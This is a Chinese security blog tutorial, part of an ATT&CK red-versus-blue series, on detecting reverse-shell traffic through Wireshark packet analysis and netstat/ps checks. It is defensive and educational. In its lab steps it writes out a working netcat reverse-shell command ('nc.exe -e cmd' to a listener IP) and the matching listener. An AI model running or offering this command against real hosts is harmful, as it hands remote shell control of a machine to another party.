一.前言
这里以反弹shell为案例,讲解检测方法手段,假设在内网后渗透阶段,当攻击者获取到管理权限,为了进一步扩大攻击范围在进行横向渗透时,通常会使用到反弹shell的方法获取主机权限,针对反弹shell这种攻击方法,可以根据反弹shell的特征去识别检测,反弹shell传输的数据是以明文方式进行传输的,很容易使用流量分析检测到,对流量特征进行溯源分析检测其带入的攻击特征,即可复现到过程。
二.前文推荐
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透
ATT&CK视角下的红蓝对抗:八.内网穿透之利用Termite进行隧道穿透
ATT&CK视角下的红蓝对抗:九.内网穿透之利用GRE协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十一.内网穿透之利用SSH协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十二.内网穿透之Windows文件传输技术详解
ATT&CK视角下的红蓝对抗:十三.内网穿透之Linux文件传输技巧详解
ATT&CK视角下的红蓝对抗:十四.内网穿透之反弹流量分析与检测方法
三.反弹流量分析与检测方法
这里以反弹shell为案例,讲解检测方法手段,假设在内网后渗透阶段,当攻击者获取到管理权限,为了进一步扩大攻击范围在进行横向渗透时,通常会使用到反弹shell的方法获取主机权限,针对反弹shell这种攻击方法,可以根据反弹shell的特征去识别检测,反弹shell传输的数据是以明文方式进行传输的,很容易使用流量分析检测到,对流量特征进行溯源分析检测其带入的攻击特征,即可复现到过程。下面以NC工具为案例进行复现,以全局角度演示反弹shell检测方法,防御手段。如图1-1所示。
1.wireshark流量分析
1)准备两台主机,实验环境如图1-1所示,使用kali作为靶机,执行nc -lvp 8888命令开启本地监听,执行成功如图1-2所示。
2)此时在Windows10主机使用Wireshark抓包工具来抓取数据流量,并设置过滤器,执行ip.addr==192.168.0.28 and !icmp and !nbns过滤掉无关协议,如图1-3所示。
3)在Windows10主机上进行连接,执行nc.exe -e cmd 192.168.0.28 8888命令然后反弹shell,执行成功,如图1-4所示。
4)此时Wireshark流量分析软件也成功捕获数据包。可以看到数据包很简单,除去dns就只有tcp的三次握手,如图1-5所示。
5)接下来我们在反弹的shell中执行命令whoami,同时wireshark软件也抓到了数据,从图1-6中可以看到执行whoami这个命令一共有4个过程。
6)首先是监听机(192.168.0.58)向靶机发送一个带有ACK和PSH的数据包,数据段中带有我们输入的命令,如图1-7所示。
7)然后靶机再向监听机回复一个ACK,告诉它已经收到了数据,如图1-8所示。
8)接着靶机又向监听机发送一个带有PSH、ACK的数据包,里面携带了whoami的执行结果,如图1-9所示。
9)最后监听机向靶机发送一个ACK,告诉靶机自己收到了数据,整个过程结束,如图1-10所示。
2.通过检测命令查看
1)如常见的bash反弹shell,我们可以通过netstat命令检测Bash进程启动事件,判断是否存在反弹shell,执行netstat -anop | grep ESTABLISHED等。这里是查看有无bash/sh连接到远端地址,如图1-11所示。
2)通过ps -ef,查看有无反弹shell的常见命令,如图1-12所示。
四.本篇总结
本文介绍了反弹流量分析与检测的方法,主要针对反弹shell攻击,通过流量分析检测其特征,包括明文传输、三次握手等。以NC工具为例,通过Wireshark流量分析软件捕获数据包,分析数据包特征,包括命令执行过程、数据包发送与接收等,希望对大家有帮助
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!